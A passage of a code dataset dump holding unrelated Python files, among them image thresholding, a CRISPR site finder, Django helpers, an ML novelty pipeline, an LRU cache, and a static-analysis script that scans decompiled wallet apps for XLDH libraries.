abs_sobel_thresh(image, orient='x', sobel_kernel=ksize, thresh=(20, 150))\r\ngrady = abs_sobel_thresh(image, orient='y', sobel_kernel=ksize, thresh=(50, 150))\r\nmag_binary = mag_thresh(image, sobel_kernel=ksize, mag_thresh=(30, 100))\r\ndir_binary = dir_threshold(image, sobel_kernel=ksize, thresh=(-np.pi/4, np.pi/4))\r\n#hls_binary = thresh_pipeline(image, h_thresh=(10, 50), l_thresh=(80,100), s_thresh=(0,15), sx_thresh=(1,100))\r\nhls_binary = hls_select(image, h_thresh=(10, 50), l_thresh=(86,130), s_thresh=(10,120))\r\nhls_binary_white = hls_select(image, h_thresh=(160, 180), l_thresh=(130,180), s_thresh=(3,10))\r\n\r\n\r\nbinary_out = np.zeros_like(hls_binary)\r\nbinary_out[(hls_binary==1)] = 1 # | \r\n #((image[:,:,0]>180) & (image[:,:,0]<=255)) |\r\n #((image[:,:,1]>180) & (image[:,:,1]<=255)) |\r\n #((image[:,:,2]>180) & (image[:,:,2]<=255))] = 1\r\n\r\n# Plot the result\r\nf, (ax1, ax2, ax3, ax4, ax5) = plt.subplots(1, 5, figsize=(25, 12))\r\nf.tight_layout()\r\nax1.imshow(image)\r\nax1.set_title('Original Image', fontsize=20)\r\nax2.imshow(hls_binary, cmap='gray')\r\nax2.set_title('hls', fontsize=20)\r\nax3.imshow(gradx, cmap='gray')\r\nax3.set_title('gradx', fontsize=20)\r\nax4.imshow(hls_binary_white, cmap='gray')\r\nax4.set_title('hls white', fontsize=20)\r\nax5.imshow(binary_out, cmap='gray')\r\nax5.set_title('combined hls', fontsize=20)\r\nplt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)\r\n'''","sub_path":"thresholds.py","file_name":"thresholds.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"117832844","text":"#!/usr/bin/python\r\n\r\n__author__ = \"Jiawei Wang\"\r\n__copyright__ = \"Copyright 2017\"\r\n__credits__ = [\"Jiawei Wang\"]\r\n__license__ = \"GPL\"\r\n__version__ = \"1.2.1\"\r\n__maintainer__ = \"Jiawei Wang\"\r\n__email__ = \"jiawei.wang@yale.edu\"\r\n\r\n### Usage: python final2-2.2.1.py -i -m \r\n### Example: python final2-2.2.1.py -i Genome_GRCh37 -m zids.pickle\r\n### Note: generate mutation site figures and changed sites.\r\n\r\nimport argparse\r\nimport numpy as np\r\nimport matplotlib\r\nmatplotlib.use('Agg') ##this prevents figure display on cluster/remote control\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport os\r\nimport pickle\r\n\r\n# os.chdir('C:/Users/wangj/Documents/Biology/Yale-CSC/Studies/CBB752 Biomedical Data Analysis $ Mining & Modeling/FinalProjects/Project2.2')\r\n### This is one way to read in arguments in Python. We need to read input folder and mutation file.\r\nparser = argparse.ArgumentParser(description='CRISPR sites recognition')\r\nparser.add_argument('-i', '--ifolder', help='input folder', required=True)\r\nparser.add_argument('-m', '--mutfile', help='mutation file', required=True)\r\nargs = parser.parse_args()\r\n\r\ndef runCSR(ifolder, mutfile):\r\n # os.chdir(ifolder)\r\n\r\n ## Here Zimmerome SNP information is previously generated and stored in zids.pickle\r\n # with open(mutfile, 'rb') as handle:\r\n # zids = pickle.load(handle)\r\n zids = getZmut(mutfile)\r\n paths = os.listdir(ifolder)\r\n for chrom in list(range(1,23)) + ['Y','X']:\r\n path = [p for p in paths if 'chr'+str(chrom)+'.fa' in p][0]\r\n path = os.path.join(ifolder, path)\r\n with open(path, 'r') as fi:\r\n seqs = fi.readlines()\r\n seqs = [i.strip() for i in seqs]\r\n seq = ''.join(seqs[1:]).upper() ##concatenate the segmented sequences together\r\n pos = findPos(seq, 'GG') ## find the 'NGG' or literally 'GG' sites\r\n\r\n ### swtiched to Zimmerome\r\n zchrom = zids[chrom]\r\n zeq = includeMut(seq, zchrom) ##includeMut generates the sequences with SNPs\r\n if zeq: ## if there is successful alignment\r\n zos = findPos(zeq, 'GG')\r\n ## first: example Manhatan plot of first 100 nucleotides\r\n # plt.ioff()\r\n f, (ax1, ax2) = plt.subplots(1, 2, sharey=True)\r\n pos_sel = pos[0:100]\r\n ax1.scatter(pos_sel, np.ones(len(pos_sel)))\r\n ax1.set_xlabel('Position on chr '+str(chrom))\r\n # ax1.set_ylabel('if there is \\'NGG\\'')\r\n ax1.set_title('Chr '+str(chrom)+', reference')\r\n zos_sel = zos[0:100]\r\n ax2.scatter(zos_sel, np.ones(len(zos_sel)))\r\n ax2.set_xlabel('Position on chr '+str(chrom))\r\n ax2.set_ylabel('if there is \\'NGG\\'')\r\n ax2.set_title('Chr '+str(chrom)+', Zimmerome')\r\n plt.savefig('SamplePlot_chr'+str(chrom)+'.png')\r\n # plt.close(f)\r\n\r\n ## second: histogram of NGG site rates on different positions\r\n f, (ax1, ax2) = plt.subplots(1, 2, sharey=True)\r\n ax1.hist(pos, bins=100, normed=True)\r\n ax1.set_xlabel('Position on chr '+str(chrom))\r\n # plt.ylabel('Frequency of \\'NGG\\'s')\r\n ax1.set_title('Chr '+str(chrom)+', reference')\r\n ax2.hist(zos, bins=100, normed=True)\r\n ax2.set_xlabel('Position on chr '+str(chrom))\r\n ax2.set_ylabel('Frequency of \\'NGG\\'s')\r\n ax2.set_title('Chr '+str(chrom)+', Zimmerome')\r\n plt.savefig('Histogram_chr'+str(chrom)+'.png')\r\n # plt.close(f)\r\n\r\n ## third: scatterplot of histogram of NGG site rates on different positions\r\n n1,bins1,patches1 = plt.hist(pos, bins=10000, normed=True)\r\n n2,bins2,patches2 = plt.hist(zos, bins=10000, normed=True)\r\n f, (ax1, ax2) = plt.subplots(1, 2, sharey=True)\r\n bins_mean1 = [0.5 * (bins1[i] + bins1[i+1]) for i in range(len(n1))]\r\n ax1.scatter(bins_mean1, n1, s=1)\r\n ax1.set_ylim((0, max(n1)*1.25))\r\n ax1.set_xlabel('Position on chr '+str(chrom))\r\n ax1.set_title('Chr '+str(chrom)+', reference')\r\n bins_mean2 = [0.5 * (bins2[i] + bins2[i+1]) for i in range(len(n2))]\r\n ax2.scatter(bins_mean2, n2, s=1)\r\n # ax2.set_ylim((0, max(n1)*1.25))\r\n ax2.set_xlabel('Position on chr '+str(chrom))\r\n ax2.set_ylabel('Frequency of \\'NGG\\'s')\r\n ax2.set_title('Chr '+str(chrom)+', Zimmerome')\r\n plt.savefig('ScatterHist_chr'+str(chrom)+'.png')\r\n # plt.close(f)\r\n\r\n ### summary changes of sites for Zimmerome SNPs on NGG\r\n difz = sorted(list(set(zos)-set(pos))) ##gained 'NGG' sites\r\n difp = sorted(list(set(pos)-set(zos))) ##lost 'NGG' sites\r\n with open('Difference_chr'+str(chrom)+'.txt','w') as f:\r\n f.write('chrom\\tpos\\tchange\\n')\r\n for iz in range(len(difz)):\r\n f.write('\\t'.join([str(chrom),str(difz[iz]),'gained'])+'\\n')\r\n for ip in range(len(difp)):\r\n f.write('\\t'.join([str(chrom),str(difp[ip]),'lost'])+'\\n')\r\n\r\ndef includeMut(seq, zchrom):\r\n keys = sorted(zchrom.keys())\r\n zeq = list(seq)\r\n match = []\r\n kk = [seq[keys[i]-1]==zchrom[keys[i]][0] for i in range(100)]\r\n if sum(kk)==100:\r\n match.append(1)\r\n else:\r\n match.append(0)\r\n if sum(match):\r\n for key in keys:\r\n zeq[key-1] = zchrom[key][1]\r\n zeq = ''.join(zeq)\r\n else:\r\n zeq = 0\r\n return(zeq)\r\n\r\ndef findPos(seq, char):\r\n n = len(char)\r\n pos = []\r\n for i in range(len(seq)):\r\n if seq[i:(i+n)] == char:\r\n pos.append(i)\r\n return(pos)\r\n\r\ndef getZmut(mutfile):\r\n zmut = pd.read_table(mutfile)\r\n zmut = zmut[['#CHROM','POS','REF','ALT']]\r\n zx = zmut.index\r\n zids = dict()\r\n for z in zx:\r\n chrom = zmut.loc[z,'#CHROM']\r\n if chrom in range(1,23) or ['X','Y']:\r\n pos = zmut.loc[z,'POS']\r\n ref = zmut.loc[z,'REF']\r\n alt = zmut.loc[z,'ALT']\r\n if chrom not in zids.keys():\r\n zids[chrom] = dict()\r\n if pos not in zids[chrom].keys():\r\n zids[chrom][pos] = [[ref,alt]]\r\n else:\r\n zids[chrom][pos].append([ref,alt])\r\n return(zids)\r\n\r\nrunCSR(args.ifolder, args.mutfile)\r\n","sub_path":"final2-2.2.1.py","file_name":"final2-2.2.1.py","file_ext":"py","file_size_in_byte":6427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"649001774","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport logging\n\nfrom django import template\n\nregister = template.Library()\n\nlogger = logging.getLogger()\n\n\n@register.assignment_tag\ndef chat_facility_from_object(obj):\n model_name = obj.__class__.__name__\n facility = '{0}-{1}'.format(model_name, obj.id)\n return facility\n\n\n@register.inclusion_tag('chat/tags/box.html', takes_context=True)\ndef chat_box(context, facility):\n tag_context = {}\n\n data = {\n 'facility': facility,\n 'WEBSOCKET_URI': context.get('WEBSOCKET_URI', '')\n }\n tag_context.update(data)\n\n return tag_context\n","sub_path":"chat/templatetags/chat_tags.py","file_name":"chat_tags.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"298991488","text":"#!/usr/bin/env python\n'''\nControls the pipeline for Pythia.\n\nThis module regulates the features and algorithms used in order to detect novelty, then adminstrates the implementation of the given specifications. It requires a directory full of JSON files, where each file contains a cluster of documents.\n'''\nimport sys\nimport argparse\nfrom collections import namedtuple\nfrom src.pipelines import parse_json, preprocess, observations, features_and_labels, log_reg, svm\nfrom src.utils.sampling import sample\n\ndef main(argv):\n '''\n controls the over-arching implmentation of the algorithms\n '''\n directory = argv[0]\n features = argv[1]\n algorithms = argv[2]\n parameters = argv[3]\n\n #parsing\n print(\"parsing json data...\",file=sys.stderr)\n clusters, order, data, test_clusters, test_order, test_data, corpusdict = parse_json.main([directory])\n\n #resampling\n if parameters.resampling is True:\n print(\"resampling...\",file=sys.stderr)\n data, clusters, order, corpusdict = sample(data, \"novelty\", novelToNotNovelRatio = parameters.novel_ratio, over = parameters.oversampling, replacement = parameters.replacement)\n \n #preprocessing\n print(\"preprocessing...\",file=sys.stderr)\n vocab, encoder_decoder, lda = preprocess.main([features, corpusdict, data, parameters])\n\n #featurization step 1\n print(\"generating observations and features...\",file=sys.stderr)\n train_observations = observations.main([clusters, order, data, directory, features, vocab, encoder_decoder, lda])\n test_observations = observations.main([test_clusters, test_order, test_data, directory, features, vocab, encoder_decoder, lda])\n\n #featurization step 2\n print(\"generating training and testing data...\",file=sys.stderr)\n train_data, train_target = features_and_labels.main([train_observations, features])\n test_data, test_target = features_and_labels.main([test_observations, features])\n\n #modeling\n print(\"running algorithms...\",file=sys.stderr)\n if algorithms.log_reg:\n predicted_labels, perform_results = log_reg.main([train_data, train_target, test_data, test_target])\n if algorithms.svm:\n predicted_labels, perform_results = svm.main([train_data, train_target, test_data, test_target])\n #results\n return perform_results\n\ndef parse_args(given_args=None):\n parser = argparse.ArgumentParser(description = \"predict novelty in a corpus\")\n parser.add_argument(\"directory\", help=\"directory holding corpus\")\n parser.add_argument(\"--cos_similarity\", \"-c\", \"--cos-similarity\", help=\"add cosine similarity as a feature\", action=\"store_true\")\n parser.add_argument(\"--tfidf_sum\", \"-t\", \"--tfidf-sum\", help=\"add tfidf sum as a feature\", action=\"store_true\")\n parser.add_argument(\"--bag_of_words\", \"-b\", \"--bag-of-words\", help=\"add bag of words vectors as a feature\", action=\"store_true\")\n parser.add_argument(\"--vocab_size\", \"-v\", type=int, default=500, help=\"set size of vocabulary to use with features that utilize bag of words\") \n parser.add_argument(\"--skipthoughts\", \"-k\", help=\"add skipthought vectors as a feature\", action=\"store_true\")\n parser.add_argument(\"--LDA\", \"-L\", help=\"add Latent Dirichlet Allocation (LDA) vectors as a feature\", action=\"store_true\")\n parser.add_argument(\"--LDA_topics\", \"-T\", type=int, default=10, help=\"set number of topics for Latent Dirichlet Allocation (LDA) model (default = 10)\")\n parser.add_argument(\"--log_reg\", \"-l\", \"--log-reg\", help=\"run logistic regression\", action=\"store_true\")\n parser.add_argument(\"--svm\", \"-s\", help=\"run support vector machine\", action=\"store_true\")\n parser.add_argument(\"--resampling\", \"-r\", help=\"conduct resampling to balance novel/non-novel ratio in training data\", action=\"store_true\")\n parser.add_argument(\"--novel_ratio\", \"-n\", type=float, default=1.0, help=\"set ratio of novel to non-novel sampling during resampling (0<=novel_ratio<=1.0, default = 1.0)\") \n parser.add_argument(\"--oversampling\", \"-o\", help=\"allow oversampling during resampling\", action=\"store_true\") \n parser.add_argument(\"--replacement\", \"-p\", help=\"allow replacement during resampling\", action=\"store_true\") \n\n if given_args is not None:\n args, extra_args = parser.parse_known_args(given_args)\n else:\n args = parser.parse_args()\n\n featureTuple = namedtuple('features','cos_similarity, tfidf_sum, bag_of_words, skipthoughts, lda')\n features = featureTuple(args.cos_similarity, args.tfidf_sum, args.bag_of_words, args.skipthoughts, args.LDA)\n\n algTuple = namedtuple('algorithms','log_reg, svm')\n algorithms = algTuple(args.log_reg, args.svm)\n\n paramTuple = namedtuple('parameters','vocab_size, lda_topics, resampling, novel_ratio, oversampling, replacement')\n parameters = paramTuple(args.vocab_size, args.LDA_topics, args.resampling, args.novel_ratio, args.oversampling, args.replacement)\n \n if not (args.cos_similarity or args.tfidf_sum or args.bag_of_words or args.skipthoughts or args.LDA):\n parser.exit(status=1, message=\"Error: pipeline requires at least one feature\\n\")\n\n if not (args.log_reg or args.svm):\n parser.exit(status=3, message=\"Error: pipeline requires at least one algorithm\\n\")\n\n return [args.directory, features, algorithms, parameters]\n\nif __name__ == '__main__':\n args = parse_args()\n print(\"Algorithm details and Results:\",file=sys.stderr)\n print(main(args), file=sys.stdout)\n sys.exit(0)\n","sub_path":"src/pipelines/master_pipeline.py","file_name":"master_pipeline.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"286031198","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport filer.fields.image\nimport django.db.models.deletion\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('filer', '0001_initial'),\n ('blog', '0004_auto_20150401_0906'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='entry',\n name='banner',\n field=filer.fields.image.FilerImageField(on_delete=django.db.models.deletion.SET_NULL, verbose_name='\\u0411\\u0430\\u043d\\u043d\\u0435\\u0440', blank=True, to='filer.Image', null=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='entry',\n name='datetime',\n field=models.DateTimeField(default=datetime.datetime(2015, 4, 1, 9, 10, 5, 155424), verbose_name='\\u0412\\u0440\\u0435\\u043c\\u044f \\u043f\\u0443\\u0431\\u043b\\u0438\\u043a\\u0430\\u0446\\u0438\\u0438'),\n preserve_default=True,\n ),\n ]\n","sub_path":"blog/migrations/0005_auto_20150401_0910.py","file_name":"0005_auto_20150401_0910.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"302472650","text":"# make txt file base on subdirectories name...\n\n\nimport os\n\nclass_path = './datasets/train'\n\nCLASS_NAMES = sorted(os.listdir(class_path))\n#print(CLASS_NAMES)\n#print(len(CLASS_NAMES))\n\nwith open('./labels.txt', 'w') as df:\n for n in CLASS_NAMES:\n df.write(n + '\\n')\n\n\n#print(i, file=open('./labels.txt','w'))\n","sub_path":"Data-preprocessing/make_txt_based_on_folder_name/make_txt_file_based_on_folder_name.py","file_name":"make_txt_file_based_on_folder_name.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"138893056","text":"import xml.etree.ElementTree as ET\nfrom collections import defaultdict\nimport pydot\n\ndef make_graph(edges: list) -> pydot.Dot:\n # edges = [((識別子1, ラベル1),(識別子2、ラベル2)), ...]\n\n # 有向グラフとして作成\n mydot = pydot.Dot(graph_type='digraph')\n\n for edge in edges:\n\n # ノード1\n node1 = str(edge[0][0])\n label1 = str(edge[0][1])\n\n # ノード2\n node2 = str(edge[1][0])\n label2 = str(edge[1][1])\n\n # ノードを追加\n mydot.add_node(pydot.Node(node1, label=label1))\n mydot.add_node(pydot.Node(node2, label=label2))\n\n # エッジ(ノード1→ノード2)を追加\n mydot.add_edge(pydot.Edge(node1, node2))\n\n return mydot\n\n\ndef make_edges(path: str) -> list:\n\n tree = ET.parse(path)\n root = tree.getroot()\n\n for sentence in root.iterfind('./document/sentences/sentence'):\n sid = int(sentence.get('id'))\n\n edges = []\n\n for dep in sentence.iterfind(\n './dependencies[@type=\"collapsed-dependencies\"]/dep'\n ):\n\n if dep.get('type') != 'punct':\n govr = dep.find('./governor')\n dept = dep.find('./dependent')\n edges.append((\n (govr.get('idx'), govr.text), (dept.get('idx'), dept.text)\n ))\n\n return edges\n\n\n\ndef main():\n inpath = 'nlp.txt.xml'\n edges = make_edges(inpath)\n mygraph = make_graph(edges)\n mygraph.write(path='./57.png', format='png')\n\n\nif __name__ == '__main__':\n main()\n\n# java -mx5g -cp \"./*\" \n# edu.stanford.nlp.pipeline.StanfordCoreNLP -annotators tokenize,ssplit,pos,\n# lemma,ner,parse,dcoref -file nlp.txt --add-modules java.se.ee;\n","sub_path":"naomi/chapter06/knock57.py","file_name":"knock57.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"277177926","text":"from django import forms\n\nfrom .models import Course, Teacher\n\n\nclass CourseForm(forms.ModelForm):\n class Meta:\n model = Course\n fields = ('title', 'description', 'image', 'teachers')\n\n teachers = forms.ModelMultipleChoiceField(\n label='Преподаватели',\n queryset=Teacher.objects.all(),\n widget=forms.CheckboxSelectMultiple\n )\n","sub_path":"app/courses/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"187974962","text":"class LRUCache:\n def __init__(self, capacity: int):\n self.capacity = capacity\n self.dicts = {}\n self.head = DoubleListNode(0, 0)\n self.tail = DoubleListNode(0, 0)\n self.head.next = self.tail\n self.tail.prev = self.head\n self.nums = 0\n\n def get(self, key: int) -> int:\n if key not in self.dicts:\n return -1\n else:\n self.freshKey(key)\n return self.dicts[key].val\n\n def put(self, key: int, value: int) -> None:\n node = DoubleListNode(value, key)\n if key in self.dicts:\n point = self.dicts[key]\n point.val = value\n self.freshKey(key)\n else:\n if self.nums == self.capacity:\n self.dicts.pop(self.head.next.key)\n self.removeNode(self.head.next)\n self.nums -= 1\n self.addToTail(node)\n self.dicts[key] = node\n self.nums += 1\n\n def freshKey(self, key):\n point = self.dicts[key]\n self.removeNode(point)\n self.addToTail(point)\n\n def removeNode(self, point):\n point.prev.next = point.next\n point.next.prev = point.prev\n \n def addToTail(self, point):\n point.prev = self.tail.prev\n point.next = self.tail\n self.tail.prev.next = point\n self.tail.prev = point\n\n \n\nclass DoubleListNode:\n def __init__(self, val, key):\n self.val = val\n self.key = key\n self.prev = None\n self.next = None\n\n\na = LRUCache(3)\na.put(1, 1)\na.put(2, 2)\na.put(3, 3)\na.put(4, 4)\nprint(a.get(4))\nprint(a.get(3))\nprint(a.get(2))\nprint(a.get(1))\na.put(5, 5)\nprint(a.get(1))\nprint(a.get(2))\nprint(a.get(3))\nprint(a.get(4))\nprint(a.get(5))\n\n","sub_path":"Hash and Heap/146. LRU 缓存机制.py","file_name":"146. LRU 缓存机制.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"38273684","text":"r\"\"\"Running a pre-trained ppo agent on minitaur_reactive_env.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport time\n\nimport inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(os.path.dirname(os.path.dirname(currentdir)))\nprint(\"parentdir=\", parentdir)\nos.sys.path.insert(0, parentdir)\n\nimport tensorflow as tf\nfrom pybullet_envs.minitaur.agents.scripts import utility\nimport pybullet_data\nfrom pybullet_envs.minitaur.envs import simple_ppo_agent\n\nflags = tf.app.flags\nFLAGS = tf.app.flags.FLAGS\nLOG_DIR = os.path.join(pybullet_data.getDataPath(), \"policies/ppo/minitaur_reactive_env\")\nCHECKPOINT = \"model.ckpt-14000000\"\n\n\ndef main(argv):\n del argv # Unused.\n config = utility.load_config(LOG_DIR)\n policy_layers = config.policy_layers\n value_layers = config.value_layers\n env = config.env(render=True)\n network = config.network\n\n with tf.Session() as sess:\n agent = simple_ppo_agent.SimplePPOPolicy(sess,\n env,\n network,\n policy_layers=policy_layers,\n value_layers=value_layers,\n checkpoint=os.path.join(LOG_DIR, CHECKPOINT))\n\n sum_reward = 0\n observation = env.reset()\n while True:\n action = agent.get_action([observation])\n observation, reward, done, _ = env.step(action[0])\n time.sleep(0.002)\n sum_reward += reward\n if done:\n break\n tf.logging.info(\"reward: %s\", sum_reward)\n\n\nif __name__ == \"__main__\":\n tf.app.run(main)\n","sub_path":"Projects/bullet3-2.89/examples/pybullet/gym/pybullet_envs/minitaur/envs/minitaur_reactive_env_example.py","file_name":"minitaur_reactive_env_example.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"624014089","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport os\nimport os.path as osp\nimport pickle\nimport shutil\nimport time\nfrom collections import Callable\n\nfrom .dicom import sitk, sitk_read_image\n\nPARSER_EXT_DICT = {\"pickle\": \"pkl\", \"json\": \"json\",\n \"torch\": \"pth\", \"sitk\": [\"dicom\", \"dcm\"]}\n\n\ndef _inverse_dict(d):\n inv_d = {}\n for k, v in d.items():\n if isinstance(v, list):\n inv_d.update({_v: k for _v in v})\n else:\n inv_d[v] = k\n return inv_d\n\n\nEXT_TO_PARSER_DICT = _inverse_dict(PARSER_EXT_DICT)\n\n\ndef make_dir(*args):\n \"\"\"\n the one-liner directory creator\n \"\"\"\n path = osp.join(*[arg.strip(\" \") for arg in args])\n if not osp.isdir(path):\n from random import random\n\n time.sleep(random() * 0.001)\n if not osp.isdir(path):\n os.makedirs(path)\n return path\n\n\ndef read_str(string, default_out=None):\n \"\"\"\n the one-liner string parser\n \"\"\"\n def invalid_entry(value):\n return value is None or value == \"\"\n\n def invalid_type(value):\n raise ValueError()\n\n if invalid_entry(string):\n return default_out\n\n if isinstance(string, str):\n parser = json.loads\n elif isinstance(string, bytes):\n parser = pickle.loads\n else:\n parser = invalid_type\n try:\n out = parser(string)\n except Exception:\n out = default_out\n print(string)\n return out\n\n\ndef load(filename, file_type=\"auto\", **kwargs):\n \"\"\"\n the one-liner loader\n Args:\n filename (str)\n file_type (str): support types: PARSER_EXT_DICT\n \"\"\"\n\n if not isinstance(filename, str):\n return None\n\n if file_type == \"auto\":\n ext = filename.rpartition(\".\")[-1].lower()\n file_type = EXT_TO_PARSER_DICT.get(ext, \"unknown\")\n\n if file_type == \"json\":\n with open(filename, \"r\") as f:\n result = json.load(f, **kwargs)\n elif file_type == \"pickle\":\n with open(filename, \"rb\") as f:\n result = pickle.load(f, **kwargs)\n elif file_type == \"torch\":\n import torch\n result = torch.load(filename, map_location=torch.device(\"cpu\"))\n elif file_type == \"sitk\":\n result = sitk_read_image(filename, **kwargs)\n elif file_type == \"unknown\":\n raise ValueError(f\"Unknown ext {filename}\")\n else:\n raise NotImplementedError(f\"Unknown file_type {file_type}\")\n\n return result\n\n\ndef save(to_be_saved, filename, file_type=\"auto\"):\n \"\"\"\n the one-liner saver\n Args:\n to_be_saved (any obj)\n filename (str)\n file_type (str): support types: PARSER_EXT_DICT\n \"\"\"\n if not isinstance(filename, str):\n return None\n\n if file_type == \"auto\":\n ext = filename.rpartition(\".\")[-1]\n file_type = EXT_TO_PARSER_DICT.get(ext, \"unknown\")\n\n if file_type == \"json\":\n with open(filename, \"w\") as f:\n json.dump(to_be_saved, f)\n elif file_type == \"pickle\":\n with open(filename, \"wb\") as f:\n pickle.dump(to_be_saved, f)\n elif file_type == \"torch\":\n import torch\n torch.save(to_be_saved, f)\n elif file_type == \"sitk\":\n sitk.WriteImage(to_be_saved, filename)\n elif file_type == \"unknown\":\n raise ValueError(f\"Unknown ext {filename}\")\n else:\n raise NotImplementedError(f\"Unknown file_type {file_type}\")\n\n\ndef recursive_copy(src, dst, softlink=False, overwrite=True, filter_fn=None):\n src_file_list = []\n\n for root, dirs, files in os.walk(src):\n for filename in files:\n if isinstance(filter_fn, Callable) and not filter_fn(filename):\n continue\n relative_root = root.rpartition(src)[-1].lstrip(\"/ \")\n src_file_list.append((relative_root, filename))\n\n make_dir(dst)\n\n dst_file_list = []\n for root, dirs, files in os.walk(dst):\n for filename in files:\n relative_root = root.rpartition(src)[-1].lstrip(\"/ \")\n dst_file_list.append((relative_root, filename))\n\n for f in src_file_list:\n if f in dst_file_list:\n continue\n relative_root = f[0]\n make_dir(dst, relative_root)\n src_path = osp.join(src, *f)\n dst_path = osp.join(dst, *f)\n if osp.exists(dst_path):\n if overwrite:\n if osp.islink(dst_path):\n if osp.isdir(dst_path):\n os.rmdir(dst_path)\n else:\n os.unlink(dst_path)\n else:\n os.remove(dst_path)\n print(f\"{dst_path} exists, overwrite\")\n else:\n print(f\"{dst_path} exists, skip\")\n continue\n if softlink:\n os.symlink(src_path, dst_path)\n else:\n shutil.copyfile(src_path, dst_path)\n\n\n__all__ = [k for k in globals().keys() if not k.startswith(\"_\")]\n","sub_path":"zqy_utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"555426570","text":"import os\nimport pandas as pd\n\nxldh_path = '/home/budi/crypto_project/crypto_code/static_analysis/XLDH Libraries.csv'\n# selected_app_id = '/home/budi/crypto_project/crypto_code/static_analysis/test.csv'\nselected_app_id = '/home/budi/crypto_project/crypto_code/apps_screening/wallet_apps_refined_list.csv'\n\nreport_path = '/home/budi/crypto_project/crypto_code/static_analysis/report/'\ndecompiled_path = \"/media/budi/Seagate Expansion Drive/crypto_project/decompiled_apps/\"\n\n\ndef smali_finder(folder_path):\n smali_list = []\n for roots,dirs,files in os.walk(folder_path):\n for dir in dirs:\n if 'smali' in dir:\n smali_path = roots+'/'+dir\n smali_list.append(smali_path)\n return smali_list\n\ndef find_xldh(xldh_list,decompile_apps_path,app_id):\n smali_list = smali_finder(decompile_apps_path)\n app_with_xldh=[]\n for dir in smali_list:\n # print('smali path :' + dir)\n for roots,dirs,files in os.walk(dir):\n for sub_dir in dirs:\n path = roots+sub_dir\n # print(path)\n for lib in xldh_list:\n # print(lib)\n # print(lib,path)\n if lib in path:\n # print(lib)\n xldh_item = {'app_id':app_id,'xldh_lib':lib}\n # print(xldh_item)\n if xldh_item not in app_with_xldh:\n app_with_xldh.append(xldh_item)\n return app_with_xldh\n\ndef check_decompiled(item,decompiled_path):\n status = False\n for roots,dirs,files in os.walk(decompiled_path):\n for dir in dirs:\n if item in dirs:\n return True\n return status\n\ndef main():\n app_with_xldh=[]\n no_decompile_list=[]\n xldh_df = pd.read_csv(xldh_path)\n xldh_df = xldh_df.dropna(how='all', axis='columns')\n xldh_list = xldh_df['XLDH Library Name'].tolist()\n for x,lib in enumerate(xldh_list):\n xldh_list[x] = lib.replace('.','/')\n # print(xldh_list) \n with open(selected_app_id,'r') as app_list:\n for item in app_list:\n item = item.strip('\\n')\n print('Examining of : '+item)\n decom_status = check_decompiled(item,decompiled_path)\n if decom_status == False:\n print('Decompiled Folder Not available')\n print('Decompiling : '+item)\n no_decompile_list.append(item)\n else:\n print('Extracting XLDH of :'+item)\n decompiled_apps_path = decompiled_path+item\n xldh_res = find_xldh(xldh_list,decompiled_apps_path,item)\n for xldh_item in xldh_res:\n app_with_xldh.append(xldh_item)\n app_xldh = pd.DataFrame(app_with_xldh)\n print(app_xldh)\n xldh_write_path = report_path+'library_xldh.csv'\n app_xldh.to_csv(xldh_write_path,index=False)\n\nif __name__=='__main__':\n main()","sub_path":"static_analysis/XLDH_extractor.py","file_name":"XLDH_extractor.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"463111507","text":"import os\n\n\n \nrootDir = '/Users/ronneyaovida/desktop/test folder'\nfinal=[]\nfor dirName, subdirList, fileList in os.walk(rootDir):\n print('Found directory: %s' % dirName)\n for fname in fileList:\n print('\\t%s' % fname)\n test= ('{0}/{1}' .format(rootDir,fname))\n size= os.path.getsize(test)\n print (size)\n if size > (1000000.0):\n mb=fname\n mbsize= float(size)\n temp= (float(mbsize/1000000.0),mb)\n final.append(temp)\n print (final)\n\n \n\n\n","sub_path":"Programming_scientific_applications/Navigating_Operating_System_in_Python/lab8python3.py","file_name":"lab8python3.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476880520","text":"from collections import namedtuple\nfrom json_gen import *\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nBOLTZMANN = 1.38064852*10**(-23) # J 